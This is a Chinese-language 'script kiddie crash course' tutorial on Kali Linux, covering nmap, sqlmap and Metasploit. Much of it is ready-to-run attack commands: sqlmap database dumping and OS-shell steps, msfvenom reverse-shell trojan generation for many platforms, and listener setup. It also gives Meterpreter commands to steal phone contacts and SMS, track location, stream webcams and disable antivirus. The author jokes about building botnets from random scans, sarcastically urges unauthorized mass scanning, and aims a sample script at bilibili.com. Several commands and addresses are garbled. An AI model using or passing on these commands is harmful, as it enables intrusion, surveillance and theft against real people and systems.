kali linux脚本小子速成

$如果你耐心看十分钟,你会惊奇的发现我讲的是一堆废话,别急。kali linux博大精深,绝对不是十分钟就能学的完,真正的好东西永远都是夹在屎里,想学你想要的,拿出你的决心来。

kali linux用所有命令之前一定要加上sudo命令,而不是sudo su直接授予root权限,别人入侵时,难度直接接近企业级,因为应用不能直接用root权限!

Kali Linux 快捷键
Ctrl + Alt + T 打开一个新的命令行终端。
Ctrl + C 复制
Ctrl + Z 撤消
Ctrl + S 用于保存
Ctrl + Q 退出
Ctrl + D 使用这个快捷方式,我们可以关闭终端窗口
由于kali linux不像windows用鼠标点位置,下面两个快捷键必备
《Ctrl + E 使用这个快捷方式,我们可以将光标移动到行尾
Ctrl + A 使用这个快捷方式,我们可以将光标移动到行首》
Ctrl + C 取消当前正在运行的命令,比较快
vim全选复制命令::%s/^\r

linux的实用命令:
ls -A:列出所有文件,包括隐藏文件
cp {原文件的地址} {复制到文件地址}:复制文件命令
rm 文件:删除命令
mv 源文件 更改后文件或地址 :剪切命令
echo "输入你想要字符" > 输入你想要名字.任意文件的后缀词 #新建一个文件,如果有,那就覆写!
echo "输入你想要字符" >> 输入你想要名字.任意文件的后缀词 #没有就新建有就添该你想要字符
命令 --help:命令的帮助文档

windows类似的命令:
dir {文件的地址} /A:列出所有文件,包括隐藏文件
xcopy {原文件的地址} {复制到文件地址}:复制文件命令
del 文件:删除命令
echo 输入你想要字符>输入你想要字符.任意文件的后缀词 #新建一个文件,如果有,那就覆写!
echo 输入你想要字符>>输入你想要字符.任意文件的后缀词 #没有就新建,有就添该你想要字符
这让我想到木马病毒,创造这个命令的人真是人才
move 源文件 更改后文件或地址 :剪切命令
命令/?:命令的帮助文档
不要觉得复杂,几百年来计算机都是过来的,你爱学不学

Kali Linux系统目录结构及文件属性:https://www.cnblogs.com/zhantang/p/13219877.html
想学,自己看

Kali Linux其核心功能包括:
进程管理·内存管理·文件系统管理·网络管理
Kali Linux 支持多种网络通信协议,包括 TCP/IP、UDP、HTTP、HTTPS 等。

共14大类,108款Kali Linux工具
命令行模式、图形用户界面模式和Shell命令行模式
14类:信息搜集
脆弱性分析
漏洞利用
嗅探和欺骗
密码工具
权限提升
web应用
无线攻击
硬件黑客
权限维持
取证工具
逆向工程
压力测试
报告工具
108款:

nmap
常用操作:nmap  -sS -6 fe80::20c:29ff:fee0:2e76 $-sS :tcp半开放扫描(非3次握手的tcp扫描)简单说:隐藏的tcp扫描端口,不被系统管理员发现,但只能扫描tcp端口而不是udp端口,想扫描udp端口要-sU参数,不隐藏的,VPN加密就可以吧。 $-6参数扫描MAC(ipv6)地址,简单说就是ipv6是未来主要的nmap扫描技术,我已自主研发,遥遥领先中!

nmap -sS -sV --version-trace -6 fe80::20c:29ff:fee0:2e76 $获取详细版本信息(sV)

nmap -O -6 fe80::20c:29ff:fee0:2e76 $获取可能系统信息,准确性高达87%,哈哈,笑!

它会随机找几个ip或者主机名进行扫描:
nmap -iR 2 -Pn -p21 #肉鸡!没错,没错。说不定你配合bat或shell脚本,可以获得数十肉鸡!要不我帮你写一个

! /bin/bash

nmap -iR 1 -sS --proxy http://proxy-server:8080 --script vluners

保存,退出,chomd +x 脚本名.sh
./脚本名.sh
开玩笑的,这些ip都有防火墙,不好渗透,想渗透ip地址,你的要有脑才行

Nmap的脚本扫描过程中使用nmap -script=脚本名称 -sS ip 进行扫描 #如果有VPN,那不用-sS参数,-sS参数浪费时间,浪费生命。

升级nmap脚本库命令:nmap --script-update ¥重要的,不然不行

auth:负责处理鉴权证书(绕开鉴权)的脚本

broadcast: 在局域网内探査更多服务开启状况,如dhcp/dns/sqlserver等服务

brute:提供暴力破解方式,针对常见的应用如http/snmp等

default: 使用-sC或-A选项扫描时候默认的脚本,提供基本脚本扫描能力

discovery:对网络进行更多的信息,如SMB枚举、SNMP查询等

dos:用于进行拒绝服务攻击

exploit: 利用已知的漏洞入侵系统

external: 利用第三方的数据库或资源,例如进行whois解析

fuzzer: 模糊测试的脚本,发送异常的包到目标机,探测出潜在漏洞

intrusive:入侵性的脚本,此类脚本可能引发对方的IDS/IPS的记录或屏蔽

malware: 探测目标机是否感染了病毒、开启了后门等信息

safe:此类与intrusive相反,属于安全性脚本

version:负责增强服务与版本扫描(Version Detection)功能的脚本

vuln: 负责检査目标机是否有常见的漏洞(Vulnerability),如是否有MS08 067

nmap部分要安装,太长你们自己问AI吧,送你一句话:想吃就得做!

使用命令“nmap --script smb-check-vulns.nse -p 445 目标”进行扫描目标系统漏洞。

使用命令“nmap -p80 --script http-stored-xss.nse 目标”即可扫描目标Web漏洞。

帮助网站:http://nmap.org/submit/这个非常要看,实时更新。

使用命令“nmap -p 80 --script=http-sitemap-generator 目标地址”即可爬行该Web目录结构。

使用命令“nmap -p 443 --script=ssl-enum-ciphers目标”即可枚举SSL密钥的版本信息。

nmap --script编写教程:

  1. NSE 脚本基础
    语言: Nmap 脚本使用 Lua 语言编写。

用途: 自动化网络探测、服务识别、漏洞检测等任务。

脚本存放路径:

/usr/share/nmap/scripts/ # 默认系统路径
~/.nmap/scripts/ # 用户自定义路径
2. 脚本结构
一个典型的 NSE 脚本包含以下部分:

元数据 (Metadata)
描述脚本的功能、作者、依赖等信息:

description = [[检测 HTTP 服务的标题]]
author = "Your Name"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"discovery", "safe"} -- 分类:发现类、安全类等
依赖规则 (Rules)
定义脚本何时触发:

portrule = function(host, port)
-- 当目标开放 80 或 443 端口且运行 HTTP 服务时触发
return port.number == 80 or port.number == 443
and port.service == "http"
and port.state == "open"
end
或使用预设规则(如 shortport.http):

local shortport = require "shortport"
portrule = shortport.http
动作函数 (Action)
脚本的核心逻辑:

action = function(host, port)
-- 发送 HTTP GET 请求
local response = http.get(host, port, "/")
-- 提取响应头中的 Server 信息
if response.status == 200 then
return "Server: " .. response.header["server"]
else
return "Request failed (Status: " .. response.status .. ")"
end
end
3. 编写步骤
创建脚本文件:
新建 .nse 文件,如 http-title.nse。

引用库:
使用 require 导入所需模块(如 http, shortport):

local http = require "http"
local shortport = require "shortport"
定义元数据、规则和动作:
按上述结构填充内容。

调试脚本:
使用 nmap --script-trace 查看脚本执行过程:

nmap --script your_script.nse --script-trace target.com
4. 示例脚本

-- 脚本:检测 HTTP 服务器标题
description = [[获取 HTTP 服务的 Server 头信息]]
author = "Nmap Learner"
license = "MIT"
categories = {"discovery", "safe"}

local http = require "http"
local shortport = require "shortport"

portrule = shortport.http

action = function(host, port)
local response = http.get(host, port, "/")
if response.status then
return "Server Header: " .. (response.header["server"] or "未检测到")
end
return "无响应"
end
5. 测试脚本

测试单个脚本

nmap --script your_script.nse -p 80 target.com

显示详细调试信息

nmap --script your_script.nse --script-trace -p 80 target.com
6. 高级技巧
参数传递: 通过 script-args 向脚本传递参数:

nmap --script http-title --script-args http-title.path=/admin target.com
并行处理: 使用 nmap.new_thread() 实现异步操作。

漏洞检测: 结合 vulns 库标记安全漏洞:

local vulns = require "vulns"
local report = vulns.Report:new(SCRIPT_NAME, host, port)
report:add_vuln({ title = "Example Vulnerability", state = vulns.STATE.EXPLOIT })
7. 学习资源
官方文档: https://nmap.org/book/nse.html

现有脚本参考: 查看 /usr/share/nmap/scripts/ 下的脚本(如 http-headers.nse)。

Lua 教程: 学习基础语法(数据类型、循环、函数)。

注意事项
安全性: 避免在生产环境中未经测试运行高风险脚本。

效率: 减少不必要的网络请求,优化超时设置。

通过以上步骤,你可以逐步掌握 NSE 脚本开发,实现定制化的网络探测功能!

VMWare认证破解:操作步骤
使用命令“nmap -p 902 --script vmauthd-brute 目标”进行破解。

nmap脚本帮助命令:nmap --script-help=《脚本名》

《我是谁:没有绝对安全的系统》的想法我启发双脚本扫描:nmap -p6667 --script=iec-backdoor.nse --seript=xxx.nse 参数 ip

三脚本四脚本时间就很长,要用到 -t4 参数,还有我编文章一般是中文输入法,而脚本工具一般多是英语输入法,还有还有,如果,还错,那就是我借鉴文章时间太久,得动用你的小脑袋瓜手动更新。

namp局域网扫描快速网络主机发现:nmap -sP 192.168.1.0/24
识别端口服务和版本:nmap -sS -oA testPortVersion -6 fe80::20c:29ff:fee0:2e76
路由器溯源:nmap --traceroute 192.168.434.49 #找到该ip的路由器ip,下次,有人叫你渗透他的路由器时,可以使用它。
探测防火墙状态:nmap -sF -sS -T4 -6 fe80::20c:29ff:fee0:2e76
随机找几个ip或者主机名进行扫描:nmap -iR 2 -Pn -p22 $-p参数等于22端口,可改80端口
伪装扫描: nmap -e eth0 10.0.1.161 -S 10.0.1.167 -Pn,上面提示如果你使用-S伪装自己源地址进行扫描的话,你必须另外使用-e 指定网卡和-Pn参数才能伪装nmap -e eth0 (真实ip) -S (虚假ip) -Pn

sqlma实战:
教程:https://blog.csdn.net/qq_61553520/article/details/130156864
教程:https://blog.csdn.net/weixin_43819747/article/details/136736688
sqlmap -u "www.baidu.com"
google搜索注入点: inurl:?asp id= site:网站域名
inurl:?php id= site:网站域名
inurl:?jsp id= site:网站域名
大家尽量要在未授权的情况下去对公网资产进行批量扫描,去踩缝纫机吧!
sqlmap部分要安装,太长你们自己问AI吧,送你一句话:想吃就得做!

SQLMAP 常用探测方式
0.常用参数
sqlmap -r http.txt #http.txt是我们抓取的http的请求包
sqlmap -r http.txt -p username #指定参数,当有多个参数而你又知道username参数存在SQL漏洞,你就可以使用-p指定参数进行探测
sqlmap -u "http://www.xx.com/username/admin" #如果我们已经知道admin这里是注入点的话,可以在其后面加个来让sqlmap对其注入
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" #探测该url是否存在漏洞
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --cookie="抓取的cookie" #当该网站需要登录时,探测该url是否存在漏洞
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --data="uname=admin&passwd=admin&submit=Submit" #抓取其post提交的数据填入
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --users #查看数据库的所有用户
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --passwords #查看数据库用户名的密码
有时候使用 --passwords 不能获取到密码,则可以试下
-D mysql -T user -C host,user,password --dump 当MySQL< 5.7时
-D mysql -T user -C host,user,authentication_string --dump 当MySQL>= 5.7时
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --current-user #查看数据库当前的用户
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --is-dba #判断当前用户是否有管理员权限
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --roles #列出数据库所有管理员角色,仅适用于oracle数据库的时候

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --dbs #爆出所有的数据库
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --tables #爆出所有的数据表
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --columns #爆出数据库中所有的列
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --current-db #查看当前的数据库
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --tables #爆出数据库security中的所有的表
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --columns #爆出security数据库中users表中的所有的列
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users -C username --dump #爆出数据库security中的users表中的username列中的所有数据
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users -C username --dump --start 1 --stop 100 #爆出数据库security中的users表中的username列中的前100条数据

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --dump-all #爆出数据库security中的users表中的所有数据
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --dump-all #爆出数据库security中的所有数据
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --dump-all #爆出该数据库中的所有数据

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --tamper=space2comment.py #指定脚本进行过滤,用/**/代替空格
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --level=5 --risk=3 #探测等级5,平台危险等级3,都是最高级别。当level=2时,会测试cookie注入。当level=3时,会测试user-agent/referer注入。
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --sql-shell #执行指定的sql语句
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --os-shell/--os-cmd #执行--os-shell命令,获取目标服务器权限
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --os-pwn #执行--os-pwn命令,将目标权限弹到MSF上

sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --file-read "c:/test.txt" #读取目标服务器C盘下的test.txt文件
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --file-write test.txt --file-dest "e:/hack.txt" #将本地的test.txt文件上传到目标服务器的E盘下,并且名字为hack.txt

sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --dbms="MySQL" #指定其数据库为mysql
其他数据库:Altibase,Apache Derby, CrateDB, Cubrid, Firebird, FrontBase, H2, HSQLDB, IBM DB2, Informix, InterSystems Cache, Mckoi, Microsoft Access, Microsoft SQL Server, MimerSQL, MonetDB, MySQL, Oracle, PostgreSQL, Presto, SAP MaxDB, SQLite, Sybase, Vertica, eXtremeDB
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --random-agent #使用任意的User-Agent爆破
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --proxy="http://127.0.0.1:8080" #指定代理
当爆破HTTPS网站会出现超时的话,可以使用参数 --delay=3 --force-ssl
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --technique T #指定时间延迟注入,这个参数可以指定sqlmap使用的探测技术,默认情况下会测试所有的方式,当然,我们也可以直接手工指定。
支持的探测方式如下:
  B: Boolean-based blind SQL injection(布尔型注入)
  E: Error-based SQL injection(报错型注入)
  U: UNION query SQL injection(可联合查询注入)
  S: Stacked queries SQL injection(可多语句查询注入)
  T: Time-based blind SQL injection(基于时间延迟注入)

sqlmap -d "mysql://root:root@192.168.10.130:3306/mysql" --os-shell #知道网站的账号密码直接连接

-v3 #输出详细度 最大值5 会显示请求包和回复包
--threads 5 #指定线程数
--fresh-queries #清除缓存
--flush-session #清空会话,重构注入
--batch #对所有的交互式的都是默认的
--random-agent #任意的http头
--tamper base64encode #对提交的数据进行base64编码
--referer http://www.baidu.com #伪造referer字段

--keep-alive 保持连接,当出现 [CRITICAL] connection dropped or unknown HTTP status code received. sqlmap is going to retry the request(s) 保错的时候,使用这个参数
1.探测单个目标
选项:-u 或者 --url

针对单个URL进行SQL注入探测

┌──(root💀fengzilin55)-[~]
└─# sqlmap -u "http://192.168.37.143/sqli-labs/Less-1/?id=1"

metasploit速成教程

辅助模块--------------AUX
渗透攻击模块--------exploits
后渗透攻击模块------post
攻击在和模块---------payloads
编码器模块------------encoders
空指令模块------------nops

和往常一样,经常更新软件非常重要,Metasploit也如此。你的Metasploit安装版应该至少每周更新一次。更新的命令非常好记:

msfupdate

开启命令:msfconsole

我最喜欢的Metasploit的特性之一是,它能将所有的结果导入到数据库中。Metasploit默认使用PostgreSQL数据库:

启动PostgreSQL数据库:service postgresql start

初始化数据库:msfdb init

内置nmap,nmap命令:nmap 参数 IP地址

请注意,这个教程仅供教育和学习目的,不得用于非法入侵或攻击他人系统。确保你有权扫描目标系统,并且遵守所有相关法律和道德规范。

如果你是渗透测试的新手,我强烈建议你学习 http://www.offensive-security.com/metasploit-unleashed/ Metasploit_Unleashed_Information_Security_Training 提供的免费培训课程,了解Metasploit是多么的强大。这个网站会固定更新,你可以经常访问一下以获得MSF框架新增功能的相关信息。

接下来,是核心中核心search 搜索进阶教程

search platform:windows 10 type:exploit #platform是搜索关键词,我是win10,type是模块搜索,我的是windows 10的漏洞搜索

search cve:2009 type:exploit #搜索有cve id为2009的,且是渗透攻击模块,不是年份,我没学时,一直以为是年份

search cve:2009-1979 #搜索有cve id为2009-1979的,更仔细

msfconsole部分要安装,太长你们自己问AI吧,送你一句话:想吃就得做!

search name exploit/unix/http/tnftp_savefile #在知道漏洞名字,直接用search name模块,不知道的情况下,用platform关键词模块,各有优点和各有缺点。

search cve:2009 Adobe Reader #搜索有cve id为2009的,且是Adobe Reader服务漏洞

search cve:2009 type:exploit platform:windows #这个懂的都懂

辅助模块--------------AUX
渗透攻击模块--------exploits
后渗透攻击模块------post
攻击在和模块---------payloads
编码器模块------------encoders
空指令模块------------nops

最后送你一套msf框架的武器

!/bin/bash

定义变量

rhost="bilibili.com" # 目标 IP
rport="80,443" # 目标端口
lhost="192.168.27.98" # 本机 IP
lport="1234" # 本机端口
threads="50" # 线程
vulns="auxiliary/scanner/ssl/ssl_version" # 漏洞模块

运行 Metasploit

msfconsole -q -x "
use vulns $vulns;
set RHOSTS $rhost;
set RPORTS $rport;
set LHOST $lhost;
set LPORT $lport;
set THREADS $threads;
exploit
"
把这些文本复制粘贴下来,命名为.sh文件,

使用ruby和python快速开发metasploit自定义模块:

知识拓展
metsploit中,根据模块的用途对模块进行的分类,在实际开发过程中coder需要将新增的自定义模块放到对应的分类目录中。此外在python开发模块时,需要在在metadata中的type字段(string类型)正确设置其分类。分类如下:

encoder,编码器模块
exploit,渗透攻击模块
nop,空指令模块
auxiliary,分析辅助模块
payload,攻击载荷模块
evasion,从metasploit5.0开始新增加的模块,利用该模块可以轻松的创建反杀毒软件的木马,以及一些病毒代码,听起来很厉害的样子哟。
post,后渗透攻击模块
基本ruby模块代码框架
整个开发过程分5步走:

使用class关键字定义MetasploitModule类(老版本是Metasploit3的类名,如果继续使用老版本类名metasploit在启动加载模块时,会报错的哟。);

设定模块的Rank等级。有关如何设定Rank等级,请点击查看metasploit wiki;

Rank定义的源码如下:

Module rankings

ManualRanking = 0
LowRanking = 100
AverageRanking = 200
NormalRanking = 300
GoodRanking = 400
GreatRanking = 500
ExcellentRanking = 600
RankingName =
{
ManualRanking => "manual",
LowRanking => "low",
AverageRanking => "average",
NormalRanking => "normal",
GoodRanking => "good",
GreatRanking => "great",
ExcellentRanking => "excellent"
}

设定info信息;

注册漏洞利用所需要的参数;

将漏洞利用代码写到MetasploitModule类的exploit方法中;

基本的Exploit模板代码如下:

require 'msf/core'

Msf::Exploit::Remote类是漏洞利用模块类,专门针对针对本地计算机以外的目标执行的漏洞利用。这通常意味着通过网络连接来利用其他计算机,尽管不限于此范围。

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking # 设定Rank等级

def initialize(info = {})
# 设定exploit的info信息
super(update_info(info,
'Name' => 'Fake Test Module',
'Description' => %q{
If this module loads, you know you're doing it right.
},
'License' => MSF_LICENSE,
'Author' =>
[
'ronnie88597'
],
'References' =>
[
[ 'CVE', '1970-0001' ]
],
'Platform' => [ 'win' ],
'Targets' =>
[
['Universal', {}]
],
'DisclosureDate' => 'Jan 01 1970',
'DefaultTarget' => 0))
# 注册漏洞利用所需要的参数
register_options(
[
OptString.new('DATA', [ true, 'The output data', 'Hello, world!'])
], self.class)
end
# 当用户在msfconsole中使用run/exploit命令时,将会初始化该exploit模块,并且调用exploit方法
def exploit
# 自定义模块时,主要的逻辑代码放在此处 ---start
data = datastore['DATA']
# echo the data
print_good(data)
# 自定义模块时,主要的逻辑代码放在此处 ---end
end

end

基本的Auxiliary模板代码如下:

require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Scanner
Rank = ExcellentRanking # 设定Rank等级

def initialize(info = {})
# 设定axuiliary的info信息
super(update_info(info,
'Name' => 'test_auxiliary',
'Description' => %q{
If this module loads, you know you're doing it right.
},
'License' => MSF_LICENSE,
'Author' =>
[
'ronnie88597'
],
'References' =>
[
[ 'CVE', '1970-0001' ]
],
'Platform' => [ 'win','linux' ],
'Targets' =>
[
['Universal', {}]
],
'DisclosureDate' => 'Jan 01 1970',
'DefaultTarget' => 0))
# 注册漏洞利用所需要的参数
register_options(
[
OptString.new('DATA', [ true, 'The output data', 'Hello, world!'])
], self.class)
end

当用户在msfconsole中使用run命令时,将会初始化该auxiliary模块,并且调用run方法

def run
# 自定义模块时,主要的逻辑代码放在此处 ---start
data = datastore['DATA']
# echo the data
print_good("good=>#{datastore['DATA']}, #{datastore['RHOSTS']}")
print_status("status=>#{datastore['DATA']}, #{datastore['RHOSTS']}")
print_warning("warning=>#{datastore['DATA']}, #{datastore['RHOSTS']}")
print_error("error=>#{datastore['DATA']}, #{datastore['RHOSTS']}")
# 自定义模块时,主要的逻辑代码放在此处 ---end
end
end

整个ruby私有模块的开发过程在metasploit的github-wiki上有,此处不在多余赘述了,点击查看。

基本python模块代码框架
相对于ruby写自定义模块,使用python会略微复杂一点点。毕竟ruby是metasploit的亲儿子嘛。

注意使用reload_all命令仅能够加载~/.msf4/modules目录下的ruby模块和ruby测试文件,可加载的文件后缀名为.rb,并且不包括满足正则表达式UNIT_TEST_REGEX = /rb.(ut|ts).rb$/的文件。所以不要将python模块代码放在~/.msf4/modules目录下。

在metasploit开发python模块的正确姿势,以我当前开发模块名为例——test_module_py:

在metasploit-framework/db/modules_metadata_base.json文件中添加test_module_py模块相关的metadata,如下:

"auxiliary_scanner/teradata/test_module_py": {
"name": "test_module_py",
"fullname": "auxiliary/scanner/teradata/test_module_py",
"aliases": [

],
"rank": 300,
"disclosure_date": "2018-03-30",
"type": "auxiliary",
"author": [
"Ted Raffle (actuated)"
],
"description": "test_module_py.\ntest_module_py.\ntest_module_py.",
"references": [
"URL-https://developer.teradata.com/tools/reference/teradata-python-module",
"URL-https://downloads.teradata.com/download/connectivity/odbc-driver/linux"
],
"platform": "",
"arch": "",
"rport": 1025,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": null,
"mod_time": "2019-11-01 19:20:22 +0000",
"path": "/modules/auxiliary/scanner/teradata/test_module_py.py",
"is_install_path": true,
"ref_name": "scanner/teradata/test_module_py",
"check": false,
"post_auth": true,
"default_credential": false,
"notes": {
"AKA": [
"test_module_py test_module_py"
]
},
"needs_cleanup": false

},

在metadata中指定的path:modules/auxiliary/scanner/teradata/test_module_py.py处,创建模块代码文件test_module_py.py。

python模块的模板

!/usr/bin/env python3

-- coding: utf-8 --

standard modules

import logging

extra modules

dependencies_missing = False
try:
import requests
except ImportError:
dependencies_missing = True

from metasploit import module

metadata = {'name': 'Python Module Example',
'description': ''' Python communication with msfconsole. ''',
'authors': ['ronnie88597'],
'date': '2018-03-22',
'license': 'MSF_LICENSE',
'references': [
{
'type': 'url',
'ref': 'Regifting Python in Metasploit'
},
{
'type': 'aka',
'ref': 'Coldstone'
}
],
'type': 'single_scanner',
'options': {
'DATA': {
'type': 'string',
'description': 'The output data.',
'required': True,
'default': 'Hello, world!'
}
}
}

def exploit(args):
# 自定义模块时,主要的逻辑代码放在此处 ---start
module.log("%s" %args['DATA']) # 如果要打印信息到msfconsole的话,必须使用module.log函数哟。
# 自定义模块时,主要的逻辑代码放在此处 ---end

if name == 'main':
module.run(metadata, exploit)

这步非常关键,需要为文件test_module_py.py增加可执行权限,如下命令:

chmod 755 test_module_py.py

如果python模块文件没有可执行权限,metasploit将会以为它是ruby文件,在加载模块时会报错的,metasploit会去寻找modules/auxiliary/scanner/teradata/test_module_py.rb而不是modules/auxiliary/scanner/teradata/test_module_py.py。

启动msfconsole,由于没有将python自定义模块放在私有模块目录(~/.msf4/modules)中,所以启动msfconsole,已经将test_module_py模块加载进来了。

运行模块

msf6 > search test_module

Matching Modules

Name Disclosure Date Rank Check Description


0 auxiliary/scanner/teradata/test_module_py 2018-03-22 normal No Python Module Example
1 exploit/windows/apache/test_module 1970-01-01 excellent No Fake Test Module

Interact with a module by name or index, for example use 1 or use exploit/windows/apache/test_module

msf6 > info auxiliary/scanner/teradata/test_module_py

Name: Python Module Example
Module: auxiliary/scanner/teradata/test_module_py
License: Metasploit Framework License (BSD)
Rank: Normal

Disclosed: 2018-03-22

Provided by:
ronnie88597

Check supported:
No

Basic options:
Name Current Setting Required Description


DATA Hello, world! yes The output data.
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
THREADS 1 yes The number of concurrent threads (max one per host)

Description:
Python communication with msfconsole.

References:
Regifting Python in Metasploit
AKA (Coldstone)

msf6 > use auxiliary/scanner/teradata/test_module_py
msf6 auxiliary(scanner/teradata/test_module_py) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 auxiliary(scanner/teradata/test_module_py) > run

[] Running for 127.0.0.1...
[
] Hello, world!
[] Scanned 1 of 1 hosts (100% complete)
[
] Auxiliary module execution completed

现在你最少是一名渗透工程师!

一、情报搜集
msf发现内网存活主机命令速成教程
auxiliany/scanner/discovery/arp sweep #基于ARP发现内网存活主机
auxiliary/scanner/discovery/udp_sweep#基于UDP发现内网存活主机
auxiliary/scanner/ftp/ftp_version #发现FTP服务
auxiliary/scanner/http/http_version#发现HTTP服务
auxiliary/scanner/smb/smb_version 基于smb发现内网存活主机

用法:use 模块
show options $查看模块要搜索的条件
set rhosts 192.168.1.0/24
run

针对安卓手机的一些命令
获取手机通讯录:dump_contacts
获取短信记录:dump_sms
控制实验手机发短信:send_sms -d 15330252525 -t
"hello"
获取实验手机GPS定位信息:geolocate
获取实验手机Wi-Fi定位信息:wlan_geolocate
控制实验手机录音:record_mic -d 5
获取实验手机相机设备:webcam_list
控制实验手机拍照:webcam_snap
直播实验手机摄像头:webcam_stream

针对Windows的一些命令
查看进程:PS
查看当前进程号:getpid
查看系统信息:sysinfo
查看目标机是否为虚拟机:run post/windows/gather/checkvm
查看完整网格设置:route
查看当前权限:getuid
自动提权:getsystem
关闭杀毒软件:run post/windows/manage/killav
启动远程桌面协议:run post/windows/manage/enable_rdp
列举当前登录的用户:run post/windows/gather/enum_logged_on_users
查看当前应用程序:run post/windows/gather/enum_applications
抓取目标机的屏幕截图:load espia; screengrab
抓取摄像头的照片:webcam snao

生成木马命令:
安卓app:
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.10.27 LPORT=8888 -o ~/Desktop/test2.apk
Linux:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.10.27 LPORT=8888 -f elf > shell.elf
Mac:
msfvenom -p osx/x86/shell_reverse_tcp LHOST=192.168.10.27 LPORT=8888 -f macho > shell.macho
PHP:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.20.27 LPORT=4444 -f raw -o test.php
ASP:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.27 LPORT=8888 -f asp > shell.asp
ASPX:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.27 LPORT=8888 -f aspx > shell.aspx
JSP:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.10.27 LPORT=8888 -f raw > shell.jsp
Bash:
msfvenom -p cmd/unix/reverse_bash LHOST=192.168.10.27 LPORT=8888 -f raw > shell.sh
Perl
msfvenom -p cmd/unix/reverse_perl LHOST=192.168.10.27 LPORT=8888 -f raw > shell.pl
Python
msfvenom -p python/meterpreter/reverser_tcp LHOST=192.168.10.27 LPORT=8888 -f raw > shell.py
而windows是反弹木马(msf生成的攻击代码分为正向和反向两种,正向需要正向连接,反向需要反向连接,反向是最常用的方式
  正向连接指被攻击的目标机器通过正向的代码打开一个端口,攻击者的机器去连接目标机器的这个端口,从而建立连接,如果把攻击机器比喻成你,目标机器比喻成妹子,正向连接相当于你去追追妹子,反向相当于妹子去追你,因为你用攻击代码让她认为你是百万富翁,之前的都是装的)

msfvenom -p windows/meterpreter/reverse_tcp lhosts=192.168.xx.xx lport=3333 -e cmd/echo -i 10 -f exe -o cmd_echo_113_3333_10.exe

msfvenom:Metasploit 框架中的一个工具,用于生成各种类型的 Payload;
-p windows/meterpreter/reverse_tcp:选项指定了要生成的 Payload 的类型,此处为一个 Meterpreter 反向 TCP shell;
lhost:指定了 Payload 需要连接回的攻击者的 IP 地址;
lport:Payload需要连接的端口;
-f exe:指定了 Payload 的输出格式,此处为可执行文件(.exe);

/root/muma.exe:生成木马的存放位置。
msfconsole # 在命令行里面输入命令,进入msf漏洞利用框架;
use exploit/multi/handler # 监听木马反弹过来的shell
msset payload windows/meterpreter/reverse_tcp # 设置payload,不同的木马设置不同的payload,设置payload时,要根据目标系统的系统位数设置相应的payload;
set lhost 192.168.100.132 # 我们的kali本机ip
set lport 6666 # 我们的kali本机端口
exploit # 开始进行监听;

使用msfvenom模块生成反弹木马,这里是捆绑的cmd.exe程序:
msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp lhost=192.168.100.132 lport=6666 -x cmd.exe -f exe -o test_win10.
exe

linux平台:
1、使用 exploit/multi/handler监听木马反弹过来的shell:
msfconsole # 在命令行里面输入命令,进入msf漏洞利用框架;
use exploit/multi/handler # 监听木马反弹过来的shell
set payload linux/x86/meterpreter/reverse_tcp # 设置payload,不同的木马设置不同的payload,设置payload时,要根据目标系统的系统位数设置相应的payload;
set lhost 192.168.100.132 # 我们的kali本机ip
set lport 6666 # 我们的kali本机端口
exploit # 开始进行监听;

生成32位的马

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=VPS的地址 LPORT=8888 -f elf > test.elf

生成64位的马

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=VPS的地址 LPORT=8888 -f elf > test.elf

ls -l # 查看当前路径文件和目录的详细信息,包括文件权限等
chmod +x test1.elf # 给木马程序赋予可执行权限,x为执行
使用 exploit/multi/handler模块连接我们生成的木马,可以看到已经获得目标服务器的meterpreter_shell:

msfconsole # 在命令行里面输入命令,进入msf漏洞利用框架;
use exploit/multi/handler # 使用这个模块连接远程木马;
set payload linux/x86/meterpreter/bind_tcp # 设置正向连接payload,不同的木马设置不同的payload,设置payload时,要根据目标系统的系统位数设置相应的payload;
set rhost 192.168.100.163 # 目标主机ip
